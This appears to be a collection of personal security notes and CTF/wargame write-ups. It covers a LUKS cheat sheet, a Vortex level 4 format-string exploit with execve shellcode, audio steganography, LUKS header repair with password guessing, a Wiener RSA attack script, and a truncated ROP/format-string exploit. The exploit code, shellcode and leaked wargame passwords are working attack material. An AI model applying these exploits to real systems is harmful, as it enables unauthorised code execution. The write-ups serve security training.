# Encrypt with LUKS (Linux Unified Key Setup)


# apt-get install cryptsetup
# luksformat -t ext4 /dev/sdb
# cryptsetup luksDump  /dev/sdb
# cryptsetup open --type luks /dev/sdb luks
# mount /dev/mapper/luks /mnt/luks
# umount /mnt/luks
# cryptsetup close luks

# Vortex wargame: Level 4


# ssh vortex4@vortex.labs.overthewire.org
vortex4@vortex.labs.overthewire.org's password:32596d674b313d6a77

$ file /vortex/vortex4
/vortex/vortex4: setuid ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=11041f50a7845267e6d05f6f11dd37de0a33d423, not stripped

$ mkdir /tmp/v4
$ cd /tmp/v4
$ cat execve.c 
#include <unistd.h>

int main(int argc, char **argv){
 char *env[4];
 env[0]="";
 env[1]="EGG=\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";
 env[2]=argv[2];
 env[3]=NULL;
 execve(argv[1], NULL, env);
}
$ gcc -m32 -o execve execve.c
$ cat getenvaddr.c
#include <stdio.h>

int main(int argc,char *argv[]){
        char *ptr;
        ptr = getenv("EGG");
 ptr += 3;
        printf("%s will be at %p\n", "EGG", ptr);
        return 0;
}
$ gcc -m32 -o getenvaddr getenvaddr.c
$ cat format_string.py
#!/usr/bin/python

import sys
import struct

def whatprinted(what, printed):
 while what <= printed:
  what += 0x100
 what -= printed
 return what, what + printed

def fs_4writes(what, where, printed, init):
 mask     = 0xff
 printed  = 16 + printed # (4 bytes * 4 where_addresses) + printed
 what_b0  = (what      ) & mask
 what_b1  = (what >>  8) & mask
 what_b2  = (what >> 16) & mask
 what_b3  = (what >> 24) & mask

 what_b0, printed = whatprinted(what_b0, printed)
 what_b1, printed = whatprinted(what_b1, printed)
 what_b2, printed = whatprinted(what_b2, printed)
 what_b3, printed = whatprinted(what_b3, printed)

 return  struct.pack('<I',  where     ) + \
  struct.pack('<I', (where + 1)) + \
  struct.pack('<I', (where + 2)) + \
  struct.pack('<I', (where + 3)) + \
  ('%%%dc'    % what_b0  ) + \
  ('%%%d$hhn' % init     ) + \
  ('%%%dc'    % what_b1  ) + \
  ('%%%d$hhn' % (init + 1)     ) + \
  ('%%%dc'    % what_b2  ) + \
  ('%%%d$hhn' % (init + 2)     ) + \
  ('%%%dc'    % what_b3  ) + \
  ('%%%d$hhn' % (init + 3)     )

if len(sys.argv) == 7:

 mode    = sys.argv[1]
 what    = int(sys.argv[2], 16)
 where   = int(sys.argv[3], 16)
 printed = int(sys.argv[4])
 init    = int(sys.argv[5])
 align   = int(sys.argv[6])

 fs = fs_4writes(what, where, printed, init)
 align = '#' * align

 if mode == 'findinit':
  pop =   '%' + str(init) + '$x'
  pop += '-' * (len(fs) - len(pop))
  payload = pop + align
 elif mode == 'exploit':
  payload = fs  + align

 print payload
else:
 print sys.argv[0], '<mode> <what> <where> <printed> <init> <padding>'
$ gdb /vortex/vortex4
(gdb) set disassembly-flavor intel
(gdb) disassemble main
   0x0804844d <+0>: push   ebp
   0x0804844e <+1>: mov    ebp,esp
   0x08048450 <+3>: and    esp,0xfffffff0
   0x08048453 <+6>: sub    esp,0x10
   0x08048456 <+9>: cmp    DWORD PTR [ebp+0x8],0x0 argc =? 0
   0x0804845a <+13>: je     0x8048468 <main+27>
   0x0804845c <+15>: mov    DWORD PTR [esp],0x0
   0x08048463 <+22>: call   0x8048330 <exit@plt>
   0x08048468 <+27>: mov    eax,DWORD PTR [ebp+0xc]
   0x0804846b <+30>: add    eax,0xc
   0x0804846e <+33>: mov    eax,DWORD PTR [eax]
   0x08048470 <+35>: mov    DWORD PTR [esp],eax
   0x08048473 <+38>: call   0x8048310 <printf@plt>
   0x08048478 <+43>: mov    DWORD PTR [esp],0x0
   0x0804847f <+50>: call   0x8048330 <exit@plt>
$ readelf -r /vortex/vortex4

Relocation section '.rel.dyn' at offset 0x2ac contains 1 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
08049ffc  00000206 R_386_GLOB_DAT    00000000   __gmon_start__

Relocation section '.rel.plt' at offset 0x2b4 contains 4 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804a00c  00000107 R_386_JUMP_SLOT   00000000   printf
0804a010  00000207 R_386_JUMP_SLOT   00000000   __gmon_start__
0804a014  00000307 R_386_JUMP_SLOT   00000000   exit
0804a018  00000407 R_386_JUMP_SLOT   00000000   __libc_start_main

$ ./execve /tmp/v4/getenvaddr `./format_string.py findinit 0xffffffff 0804a014 0 104 5`
EGG will be at 0xffffdf83
$ ./execve /tmp/v4/getenvaddr `./format_string.py findinit 0xffffdf83 0804a014 0 104 5`
EGG will be at 0xffffdf85
$ ./execve /vortex/vortex4 `./format_string.py findinit 0xffffdf85 0804a014 0 104 5`; echo
34303125------------------------------------------------------------##### %104 = init
$ ./execve /vortex/vortex4 `./format_string.py exploit 0xffffdf85 0804a014 0 104 5`; echo
$ whoami
vortex5
$ /bin/cat /etc/vortex_pass/vortex5
3a3456746243346c72

# NcN CTF 2k14: OST (400 points)

Can you hear it? We neither ;)

# cat pattern.py
#!/usr/bin/python

import scipy.io.wavfile
import sys
import wave
from collections import Counter

inputfile = sys.argv[1]

wave_read_object = wave.open(inputfile, 'rb')
print 'Number of audio channels = ',  wave_read_object.getnchannels()
print 'Sample width = ', wave_read_object.getsampwidth(), '(bytes)'
print 'Sampling frequency = ', wave_read_object.getframerate(), '(Hz)'
frames = wave_read_object.getnframes()
print 'Number of audio frames = ', frames
wave_read_object.close()

rate, data = scipy.io.wavfile.read(inputfile)

r = Counter()
for frames in data:
 r[str(frames[1])] += 1
print r

word = ''
last_bit = ''
binary = ''

for frames in data:
 if frames[1] == 0:
  bit = '0'
 else:
  bit = '1'
 if last_bit != bit:
  sys.stdout.write(word + '\n')
  word = ''
 word += bit
 last_bit = bit
print binary

# ./pattern.py ost.wav
Number of audio channels =  2
Sample width =  2 (bytes)
Sampling frequency =  44100 (Hz)
Number of audio frames =  661522
Counter({'0': 342450, '328': 319072})

0000000000000
11111111111111111111111111
0000000000000
1111111111111
0000000000000
1111111111111
00000000000000000000000000
11111111111111111111111111
0000000000000
1111111111111
00000000000000000000000000
11111111111111111111111111
00000000000000000000000000
11111111111111111111111111
00000000000000000000000000
11111111111111111111111111
0000000000000
1111111111111
0000000000000
1111111111111
0000000000000
1111111111111
0000000000000
1111111111111
00000000000000000000000000
11111111111111111111111111
0000000000000
1111111111111
...

# cat solution.py
#!/usr/bin/python

import scipy.io.wavfile
import sys
import wave
from collections import Counter

inputfile = sys.argv[1]
outputfile = sys.argv[2]

wave_read_object = wave.open(inputfile, 'rb')
print 'Number of audio channels = ',  wave_read_object.getnchannels()
print 'Sample width = ', wave_read_object.getsampwidth(), '(bytes)'
print 'Sampling frequency = ', wave_read_object.getframerate(), '(Hz)'
frames = wave_read_object.getnframes()
print 'Number of audio frames = ', frames
wave_read_object.close()

rate, data = scipy.io.wavfile.read(inputfile)

r = Counter()
for frames in data:
 r[str(frames[1])] += 1
print r

word = ''
binary = ''

for frames in data:
 if frames[1] == 0:
  bit = '0'
 else:
  bit = '1'
 if word == '0000000000000':
  binary += '0'
  sys.stdout.write(word + '\n')
  word = ''
 if word == '1111111111111':
  binary += '1'
  sys.stdout.write(word + '\n')
  word = ''
 word += bit
print binary

decoded = ''

for i in xrange(0, len(binary), 2):
 print i, i + 2
 symbol = binary[i : i + 2]
 if symbol == '01':
  digit = '1'
 else:
  digit = '0'
 decoded += digit

f = open(outputfile, 'wb')

for i in xrange(0, len(decoded), 8):
 print i, i + 8
 byte = decoded[i : i + 8]
 print chr(int(byte,2))
 f.write(chr(int(byte,2)))
f.close()

# ./solution.py ost.wav output
Number of audio channels =  2
Sample width =  2 (bytes)
Sampling frequency =  44100 (Hz)
Number of audio frames =  661522
Counter({'0': 342450, '328': 319072})
0000000000000
1111111111111
1111111111111
0000000000000
1111111111111
0000000000000
1111111111111
0000000000000
0000000000000
1111111111111
1111111111111
0000000000000
1111111111111
0000000000000
0000000000000
1111111111111
1111111111111
0000000000000
0000000000000
1111111111111
1111111111111
0000000000000
...
011010100110100110011001101010101001101001010110100110101001010110101010010110011010101001100110101010010110011010101010011001101010101010101010101010101010101010101010101010101010101001011001100110100110100110011010011010101001101010011010100110011010011010101010101010101010101010101010101010101010011010101001100101101010101010101010101010101010101010101010101010101010010110101010101010100110101010101010100110101010101010101010101010101010101010101010101010100101011010010101101001101001101001010101011001011001100101100110101010101010101010101010101010101010101010101010101010101010011010010110101001101001101001100101100110101001010110011010100110101010101010101010101010101010101001100110011001100110101001011001101001101010010110100101101001101010101010101010
...
0 2
2 4
4 6
6 8
8 10
10 12
12 14
14 16
16 18
18 20
...
0 8
�
8 16
P
16 24
N
24 32
G
32 40

40 48

...
# file output 
output: PNG image data, 534 x 48, 8-bit gray+alpha, non-interlaced
# tesseract output flag && cat flag.txt
NcN_d787634fa059f9a009f539a18526666208a3e960

# NcN CTF 2k14: HIDDENtation (300 points)


Dig deep into the file and find the flag.

# file hiddentation
hiddentation: data
# ./patch.py hiddentation r 0x0 0x280
4c554b73 babe..01 616573.. ........ ........ ........ ........ ........    LUKs .... aes. .... .... .... .... ....    [0x0]
........ ........ 6362632d 65737369 763a7368 61323536 ........ ........    .... .... cbc- essi v:sh a256 .... ....    [0x20]
........ ........ 73686131 ........ ........ ........ ........ ........    .... .... sha1 .... .... .... .... ....    [0x40]
........ ........ ....10.. ......20 37095389 8e05800e a2dcc66f b7fa18e9    .... .... .... ...  7.S. .... ...o ....    [0x60]
bb134d60 8571eeb5 f26acbbf c2f5eedc 2058c98e 7a6b1555 c9783ef2 e7f1a8b7    ..M` .q.. .j.. ....  X.. zk.U .x>. ....    [0x80]
ab4edd24 ....e196 37303662 37623864 2d393833 322d3466 65352d38 6635622d    .N.$ .... 706b 7b8d -983 2-4f e5-8 f5b-    [0xa0]
31393439 31313761 36356464 ........ ....dead ........ ........ ........    1949 117a 65dd .... .... .... .... ....    [0xc0]
........ ........ ........ ........ ........ ........ ......08 ....0fa0    .... .... .... .... .... .... .... ....    [0xe0]
....dead ........ ........ ........ ........ ........ ........ ........    .... .... .... .... .... .... .... ....    [0x100]
........ ........ ......08 ....0fa0 ....dead ........ ........ ........    .... .... .... .... .... .... .... ....    [0x120]
........ ........ ........ ........ ........ ........ ....0108 ....0fa0    .... .... .... .... .... .... .... ....    [0x140]
....dead ........ ........ ........ ........ ........ ........ ........    .... .... .... .... .... .... .... ....    [0x160]
........ ........ ....0208 ....0fa0 ....dead ........ ........ ........    .... .... .... .... .... .... .... ....    [0x180]
........ ........ ........ ........ ........ ........ ....0308 ....0fa0    .... .... .... .... .... .... .... ....    [0x1a0]
....dead ........ ........ ........ ........ ........ ........ ........    .... .... .... .... .... .... .... ....    [0x1c0]
........ ........ ....0408 ....0fa0 ....dead ........ ........ ........    .... .... .... .... .... .... .... ....    [0x1e0]
........ ........ ........ ........ ........ ........ ....0508 ....0fa0    .... .... .... .... .... .... .... ....    [0x200]
....dead ..038765 455d8bc7 048b1c91 36ba167e 21ed6db3 bb075bec ec4fefe9    .... ...e E].. .... 6..~ !.m. ..[. .O..    [0x220]
fe7b934d 03..0a09 ....0608 ....0fa0 54727920 19206d6f 73742063 6f6d6d6f    .{.M .... .... .... Try  . mo st c ommo    [0x240]
6e207061 73737764 20696e20 07dd.... ........ ........ ....07.. ........    n pa sswd  in  .... .... .... .... ....    [0x260]

# ./luks_parser.py hiddentation
[0x0]   magic = 4c554b73babe [LUKs��] != 4c554b53babe [LUKS��]
[0x6]   version = 0001 [1] 
[0x8]   cipher_name = 6165730000000000000000000000000000000000000000000000000000000000 [aes] 
[0x28]  cipher_mode = 6362632d65737369763a73686132353600000000000000000000000000000000 [cbc-essiv:sha256] 
[0x48]  hash_spec = 7368613100000000000000000000000000000000000000000000000000000000 [sha1] 
[0x68]  payload_offset = 00001000 [4096] 
[0x6c]  key_bytes = 00000020 [32] 
[0x70]  mk_digest = 370953898e05800ea2dcc66fb7fa18e9bb134d60 [7 S�����o�� �� M`] 
[0x84]  mk_digest_salt = 8571eeb5f26acbbfc2f5eedc2058c98e7a6b1555c9783ef2e7f1a8b7ab4edd24 [�q���j˿���� XɎzk U�x>��񨷫N�$] 
[0xa4]  mk_digest_iter = 0000e196 [57750] 
[0xa8]  uuid = 37303662376238642d393833322d346665352d386635622d31393439313137613635646400000000 [706b7b8d-9832-4fe5-8f5b-1949117a65dd] 

= Key slot 1 =
[0xd0]  active = 0000dead [57005] == Disabled
[0xd4]  iterations = 00000000 [0] 
[0xd8]  salt = 0000000000000000000000000000000000000000000000000000000000000000 [] 
[0xf8]  key_material_offset = 00000008 [8] 
[0xfc]  stripes = 00000fa0 [4000] 

= Key slot 2 =
[0x100] active = 0000dead [57005] == Disabled
[0x104] iterations = 00000000 [0] 
[0x108] salt = 0000000000000000000000000000000000000000000000000000000000000000 [] 
[0x128] key_material_offset = 00000008 [8] 
[0x12c] stripes = 00000fa0 [4000] 

= Key slot 3 =
[0x130] active = 0000dead [57005] == Disabled
[0x134] iterations = 00000000 [0] 
[0x138] salt = 0000000000000000000000000000000000000000000000000000000000000000 [] 
[0x158] key_material_offset = 00000108 [264] 
[0x15c] stripes = 00000fa0 [4000] 

= Key slot 4 =
[0x160] active = 0000dead [57005] == Disabled
[0x164] iterations = 00000000 [0] 
[0x168] salt = 0000000000000000000000000000000000000000000000000000000000000000 [] 
[0x188] key_material_offset = 00000208 [520] 
[0x18c] stripes = 00000fa0 [4000] 

= Key slot 5 =
[0x190] active = 0000dead [57005] == Disabled
[0x194] iterations = 00000000 [0] 
[0x198] salt = 0000000000000000000000000000000000000000000000000000000000000000 [] 
[0x1b8] key_material_offset = 00000308 [776] 
[0x1bc] stripes = 00000fa0 [4000] 

= Key slot 6 =
[0x1c0] active = 0000dead [57005] == Disabled
[0x1c4] iterations = 00000000 [0] 
[0x1c8] salt = 0000000000000000000000000000000000000000000000000000000000000000 [] 
[0x1e8] key_material_offset = 00000408 [1032] 
[0x1ec] stripes = 00000fa0 [4000] 

= Key slot 7 =
[0x1f0] active = 0000dead [57005] == Disabled
[0x1f4] iterations = 00000000 [0] 
[0x1f8] salt = 0000000000000000000000000000000000000000000000000000000000000000 [] 
[0x218] key_material_offset = 00000508 [1288] 
[0x21c] stripes = 00000fa0 [4000] 

= Key slot 8 =
[0x220] active = 0000dead [57005] == Disabled
[0x224] iterations = 00038765 [231269] 
[0x228] salt = 455d8bc7048b1c9136ba167e21ed6db3bb075becec4fefe9fe7b934d03000a09 [E]�� � �6� ~!�m��[��O���{�M 
 ] 
[0x248] key_material_offset = 00000608 [1544] 
[0x24c] stripes = 00000fa0 [4000]

# cp hiddentation hiddentation.copy

# ./patch.py hiddentation.copy w 0x3 53
# ./patch.py hiddentation.copy w 0x220 00ac71f3
# ./patch.py hiddentation.copy w 0x248 00000708
# ./patch.py hiddentation.copy r 0x0 0x280
4c554b53 babe..01 616573.. ........ ........ ........ ........ ........    LUKS .... aes. .... .... .... .... ....    [0x0]
........ ........ 6362632d 65737369 763a7368 61323536 ........ ........    .... .... cbc- essi v:sh a256 .... ....    [0x20]
........ ........ 73686131 ........ ........ ........ ........ ........    .... .... sha1 .... .... .... .... ....    [0x40]
........ ........ ....10.. ......20 37095389 8e05800e a2dcc66f b7fa18e9    .... .... .... ...  7.S. .... ...o ....    [0x60]
bb134d60 8571eeb5 f26acbbf c2f5eedc 2058c98e 7a6b1555 c9783ef2 e7f1a8b7    ..M` .q.. .j.. ....  X.. zk.U .x>. ....    [0x80]
ab4edd24 ....e196 37303662 37623864 2d393833 322d3466 65352d38 6635622d    .N.$ .... 706b 7b8d -983 2-4f e5-8 f5b-    [0xa0]
31393439 31313761 36356464 ........ ....dead ........ ........ ........    1949 117a 65dd .... .... .... .... ....    [0xc0]
........ ........ ........ ........ ........ ........ ......08 ....0fa0    .... .... .... .... .... .... .... ....    [0xe0]
....dead ........ ........ ........ ........ ........ ........ ........    .... .... .... .... .... .... .... ....    [0x100]
........ ........ ......08 ....0fa0 ....dead ........ ........ ........    .... .... .... .... .... .... .... ....    [0x120]
........ ........ ........ ........ ........ ........ ....0108 ....0fa0    .... .... .... .... .... .... .... ....    [0x140]
....dead ........ ........ ........ ........ ........ ........ ........    .... .... .... .... .... .... .... ....    [0x160]
........ ........ ....0208 ....0fa0 ....dead ........ ........ ........    .... .... .... .... .... .... .... ....    [0x180]
........ ........ ........ ........ ........ ........ ....0308 ....0fa0    .... .... .... .... .... .... .... ....    [0x1a0]
....dead ........ ........ ........ ........ ........ ........ ........    .... .... .... .... .... .... .... ....    [0x1c0]
........ ........ ....0408 ....0fa0 ....dead ........ ........ ........    .... .... .... .... .... .... .... ....    [0x1e0]
........ ........ ........ ........ ........ ........ ....0508 ....0fa0    .... .... .... .... .... .... .... ....    [0x200]
..ac71f3 ..038765 455d8bc7 048b1c91 36ba167e 21ed6db3 bb075bec ec4fefe9    ..q. ...e E].. .... 6..~ !.m. ..[. .O..    [0x220]
fe7b934d 03..0a09 ....0708 ....0fa0 54727920 19206d6f 73742063 6f6d6d6f    .{.M .... .... .... Try  . mo st c ommo    [0x240]
6e207061 73737764 20696e20 07dd.... ........ ........ ....07.. ........    n pa sswd  in  .... .... .... .... ....    [0x260]

# file hiddentation.copy
hiddentation.copy: LUKS encrypted file, ver 1 [aes, cbc-essiv:sha256, sha1] UUID: 706b7b8d-9832-4fe5-8f5b-1949117a65dd

# cryptsetup luksDump hiddentation.copy
LUKS header information for hiddentation.copy

Version:        1
Cipher name:    aes
Cipher mode:    cbc-essiv:sha256
Hash spec:      sha1
Payload offset: 4096
MK bits:        256
MK digest:      37 09 53 89 8e 05 80 0e a2 dc c6 6f b7 fa 18 e9 bb 13 4d 60 
MK salt:        85 71 ee b5 f2 6a cb bf c2 f5 ee dc 20 58 c9 8e 
                7a 6b 15 55 c9 78 3e f2 e7 f1 a8 b7 ab 4e dd 24 
MK iterations:  57750
UUID:           706b7b8d-9832-4fe5-8f5b-1949117a65dd

Key Slot 0: DISABLED
Key Slot 1: DISABLED
Key Slot 2: DISABLED
Key Slot 3: DISABLED
Key Slot 4: DISABLED
Key Slot 5: DISABLED
Key Slot 6: DISABLED
Key Slot 7: ENABLED
 Iterations:          231269
 Salt:                45 5d 8b c7 04 8b 1c 91 36 ba 16 7e 21 ed 6d b3 
                        bb 07 5b ec ec 4f ef e9 fe 7b 93 4d 03 00 0a 09 
 Key material offset: 1800
 AF stripes:             4000

# while read password; do echo $password; echo -n $password | cryptsetup open --type luks hiddentation.copy volume --key-file - && break; done <<< "`curl --silent http://whnt.com/2014/01/22/the-25-most-common-passwords-of-2013/ | grep '.  ' | awk '{print $2}'`"
123456
No key available with this passphrase.
password
No key available with this passphrase.
12345678
No key available with this passphrase.
qwerty
No key available with this passphrase.
abc123
No key available with this passphrase.
123456789
No key available with this passphrase.
111111
No key available with this passphrase.
1234567
No key available with this passphrase.
iloveyou
No key available with this passphrase.
adobe123
No key available with this passphrase.
123123
No key available with this passphrase.
admin
No key available with this passphrase.
1234567890
No key available with this passphrase.
letmein
No key available with this passphrase.
photoshop
No key available with this passphrase.
1234
No key available with this passphrase.
monkey
No key available with this passphrase.
shadow

# fdisk -l /dev/mapper/volume

WARNING: GPT (GUID Partition Table) detected on '/dev/mapper/volume'! The util fdisk doesn't support GPT. Use GNU Parted.

Disk /dev/mapper/volume: 97 MB, 97902592 bytes
255 heads, 63 sectors/track, 11 cylinders, total 191216 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x00000000

             Device Boot      Start         End      Blocks   Id  System
/dev/mapper/volume1               1      191215       95607+  ee  GPT

# gparted /dev/mapper/volume
# # offset = 86016 (First sector) * 512 bytes/sector = 44040192
# losetup --offset 44040192 /dev/loop1 /dev/mapper/volume
# mount /dev/loop1 /mnt
# cat /mnt/flag.txt
It's inside this partition, but hidden ;)
# testdisk /dev/loop1
>D HPFS - NTFS                69632     104447      34816
# dd if=/dev/loop1 of=ntfs skip=69632 count=34816
# umount /dev/loop1
# losetup -d /dev/loop1
# losetup /dev/loop1 ntfs
# mount /dev/loop1 /mnt
# cat /mnt/readme.txt 
You are very near, but it's even more hidden!
# umount /dev/loop1
# losetup -d /dev/loop1
# ntfsundelete --scan ntfs
Inode    Flags  %age  Date           Size  Filename
---------------------------------------------------------------
...
65       FR..   100%  2014-10-20        74  flag.txt

Files with potentially recoverable content: 1
# ntfsundelete --undelete --match flag.txt ntfs 
Inode    Flags  %age  Date           Size  Filename
---------------------------------------------------------------
65       FR..   100%  2014-10-20        74  flag.txt
Undeleted 'flag.txt' successfully.
Undeleted 'flag.txt:$' successfully.
# cat flag.txt*
You are very very very near!
rot13:APAq986942o809qnn32n6987n7422771n53s59r5n1s02rq700ppr43p5196non749r

# ./rot.py -m tracks APAq986942o809qnn32n6987n7422771n53s59r5n1s02rq700ppr43p5196non749r 2>&1 | grep -e '\[' -e 13
['ABCDEFGHIJKLMNOPQRSTUVWXYZ'] (26)
(13) NCNq986942o809qnn32n6987n7422771n53s59r5n1s02rq700ppr43p5196non749r
['abcdefghijklmnopqrstuvwxyz'] (26)
(13) APAd986942b809daa32a6987a7422771a53f59e5a1f02ed700cce43c5196aba749e
['ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz'] (26)
(13) NCNd986942b809daa32a6987a7422771a53f59e5a1f02ed700cce43c5196aba749e

References

http://testpurposes.net/2014/10/31/solucion-hiddentation-final-ctf-ncn-2014/
http://cryptsetup.googlecode.com/svn-history/r42/wiki/LUKS-standard/on-disk-format.pdf

# Wiener's attack against RSA (small values of d)


Wiener has proved that the attacker may efficiently find d when:

d < (N**0.25)/3

# cat wiener_attack.py
#!/usr/bin/python

from sympy.solvers import solve
from sympy import Symbol

def partial_quotiens(x, y):
        pq = []
        while x != 1:
                pq.append(x / y)
                a = y
                b = x % y
                x = a
                y = b
        #print pq
        return pq

def rational(pq):
        i = len(pq) - 1
        num = pq[i]
        denom = 1
        while i > 0:
                i -= 1
                a = (pq[i] * num) + denom
                b = num
                num = a
                denom = b
        #print (num, denom)
return (num, denom)

def convergents(pq):
        c = []
        for i in range(1, len(pq)):
                c.append(rational(pq[0:i]))
        #print c
        return c

def phiN(e, d, k):
        return ((e * d) - 1) / k

# e = 17993
# n = 90581
# wiener_attack(e, n) --> p =  239, q =  379

e = 0x0285f8d4fe29ce11605edf221868937c1b70ae376e34d67f9bb78c29a2d79ca46a60ea02a70fdb40e805b5d854255968b2b1f043963dcd61714ce4fc5c70ecc4d756ad1685d661db39d15a801d1c382ed97a048f0f85d909c811691d3ffe262eb70ccd1fa7dba1aa79139f21c14b3dfe95340491cff3a5a6ae9604329578db9f5bcc192e16aa62f687a8038e60c01518f8ccaa0befe569dadae8e49310a7a3c3bddcf637fc82e5340bef4105b533b6a531895650b2efa337d94c7a76447767b5129a04bcf3cd95bb60f6bfd1a12658530124ad8c6fd71652b8e0eb482fcc475043b410dfc4fe5fbc6bda08ca61244284a4ab5b311bc669df0c753526a79c1a57
n = 0x02aeb637f6152afd4fb3a2dd165aec9d5b45e70d2b82e78a353f7a1751859d196f56cb6d11700195f1069a73d9e5710950b814229ab4c5549383c2c87e0cd97f904748a1302400dc76b42591da17dabaf946aaaf1640f1327af16be45b8830603947a9c3309ca4d6cc9f1a2bcfdacf285fbc2f730e515ae1d93591ccd98f5c4674ec4a5859264700f700a4f4dcf7c3c35bbc579f6ebf80da33c6c11f68655092bbe670d5225b8e571d596fe426db59a6a05aaf77b3917448b2cfbcb3bd647b46772b13133fc68ffabcb3752372b949a3704b8596df4a44f085393ee2bf80f8f393719ed94ab348852f6a5e0c493efa32da5bf601063a033beaf73ba47d8205db

pq = partial_quotiens(e, n)
c = convergents(pq)
x = Symbol('x')
for (k, d) in c:
        if k != 0:
                y = n - phiN(e, d, k) + 1
                roots = solve(x**2 - y*x + n, x)
                if len(roots) == 2:
                        p = roots[0]
                        q = roots[1]
                        if p * q == n:
                                print 'p = ', p
                                print 'q = ', q
                                break
# ./wiener_attack.py
p =  12001304129015480165432875074437607933493850611499879464845243350215176144760883615322622081442653872645865326992384034722586201972392183010813439352778246403016897976571514715418700569567613729681273931557848857971070286176848136118602099586101089743239644367344468295964691411425416652519752140536869089101
q =  28216117316929874067495888027767527011360661622486842768414059951572932145196930641365509243766454218518793508840136548374994021850853203018205749779390383366761851772055038753940967432004901699256177783249460134792699230632136386268348434203012426963129659057781488950062703849444443906614331812260961682887

Reference

http://en.wikipedia.org/wiki/Wiener's_attack

# NcN CTF Quals 2k14: eXPLicit (500 points)


# echo 0 > /proc/sys/kernel/randomize_va_space
# ./explicit
# gdb -q -p `ps axuf | grep explicit | head -n 1 | awk '{print $2}'`
Attaching to process 10837
Reading symbols from /eXPLicit/explicit...(no debugging symbols found)...done.
0x0806093c in ?? ()
(gdb) set disassembly-flavor intel
(gdb) set follow-fork-mode child
(gdb) continue
Continuing.
# nc 127.0.0.1 7070
Welcome to Guess The Number Online!

Pick a number between 0 and 20: %n
^C
[New process 10894]

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 10894]
0x08072d7d in ?? ()
(gdb) backtrace
#0  0x08072d7d in ?? ()
#1  0x0804f96f in ?? ()
#2  0x08048bfc in ?? ()
#3  0x08048e30 in ?? ()
#4  0x08049056 in ?? ()
#5  0x0804899b in ?? ()
(gdb) x/2i 0x0804f96f-0x5
   0x804f96a: call   0x806ea80
   0x804f96f: add    esp,0x1c
(gdb) quit
# gdb -q -p `ps axuf | grep explicit | head -n 1 | awk '{print $2}'`
Attaching to process 10837
Reading symbols from /eXPLicit/explicit...(no debugging symbols found)...done.
0x0806093c in ?? ()
(gdb) break *0x806ea80
Breakpoint 1 at 0x806ea80
(gdb) continue
Continuing.
# nc 127.0.0.1 7070
Welcome to Guess The Number Online!

Pick a number between 0 and 20: %n
[New process 10952]
[Switching to process 10952]

Breakpoint 1, 0x0806ea80 in ?? ()
(gdb) x/xw $esp
0xbffff59c: 0x0804f96f
(gdb) quit
# ./checksec.sh --file explicit
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   explicit
# gdb -q -x rop.py
=== BINARY ===

Path = /eXPLicit/explicit
Type = elf32
Arch = i386
EP   = 0x804897a
Low  = 0x8048140
High = 0x80ab7f4

=== PRIMITIVE GADGETS (Depth = 1) ===

inc eax
  0x806d6ff: inc eax;

inc ebx

inc ecx

inc edx

mov dword ptr [eax],ebx

mov dword ptr [eax],ecx

mov dword ptr [eax],edx
  0x806d781: mov dword ptr [eax],edx;

mov dword ptr [ebx],eax

mov dword ptr [ebx],ecx

mov dword ptr [ebx],edx

mov dword ptr [ecx],eax

mov dword ptr [ecx],ebx

mov dword ptr [ecx],edx

mov dword ptr [edx],eax
  0x808a73d: mov dword ptr [edx],eax;

mov dword ptr [edx],ebx

mov dword ptr [edx],ecx
  0x8055952: mov dword ptr [edx],ecx;

mov eax,ebx

mov eax,ecx

mov eax,edx
  0x805c1ff: mov eax,edx;
  0x8060aa7: mov eax,edx;

mov ebx,eax

mov ebx,ecx

mov ebx,edx

mov ecx,eax

mov ecx,ebx

mov ecx,edx

mov edx,eax

mov edx,ebx

mov edx,ecx

pop eax
  0x80a8ff6: pop eax;

pop ebx
  0x804d106: pop ebx;
  0x804e73c: pop ebx;
  0x804e7a3: pop ebx;
  0x805169d: pop ebx;
  0x8052239: pop ebx;
  ...

pop ecx

pop edx
  0x8060a56: pop edx;

pop esp
  0x80a8fa6: pop esp;

push eax
  0x80a8f96: push eax;

push ebx

push ecx

push edx

push esp
  0x80a9006: push esp;

xor eax,eax
  0x80551c0: xor eax,eax;
  0x8055bc0: xor eax,eax;
  0x8055c00: xor eax,eax;
  0x8059644: xor eax,eax;
  0x805e0c8: xor eax,eax;
  ...

xor ebx,ebx

xor ecx,ecx

xor edx,edx

int 0x80
  0x8061240: int 0x80;
  0x8082715: int 0x80;
  0x8082725: int 0x80;
  0x8082735: int 0x80;
  0x8082745: int 0x80;

=== VARIABLES ===

inc_eax = 0x806d6ff
mov_dword_ptr_eax_edx = 0x806d781
mov_dword_ptr_edx_eax = 0x808a73d
mov_dword_ptr_edx_ecx = 0x8055952
mov_eax_edx = 0x805c1ff
pop_eax = 0x80a8ff6
pop_ebx = 0x804d106
pop_edx = 0x8060a56
pop_esp = 0x80a8fa6
push_eax = 0x80a8f96
push_esp = 0x80a9006
xor_eax_eax = 0x80551c0
int_0x80 = 0x8061240
# readelf --section-headers explicit | grep '\.bss'
[23] .bss              NOBITS          080d6080 08e060 00136c 00  WA  0   0 64
# cat exploit.py
#!/usr/bin/env python

import socket
import struct
import sys

def whatoffset(what, offset):
       while what <= offset:
              what += 0x100
       what -= offset
       return what, what + offset

def fs_4writes(what, where, offset, init):
       mask     = 0xff
       offset   = 16 + offset # 4 bytes * 4 addr + offset
       what_b0  = (what      ) & mask
       what_b1  = (what >>  8) & mask
       what_b2  = (what >> 16) & mask
       what_b3  = (what >> 24) & mask

       what_b0, offset = whatoffset(what_b0, offset)
       what_b1, offset = whatoffset(what_b1, offset)
       what_b2, offset = whatoffset(what_b2, offset)
       what_b3, offset = whatoffset(what_b3, offset)

       return struct.pack('<I', where      ) + \
              struct.pack('<I', (where + 1)) + \
              struct.pack('<I', (where + 2)) + \
              struct.pack('<I', (where + 3)) + \
              ('%%%dc'    % what_b0        ) + \
              ('%%%d$hhn' % init           ) + \
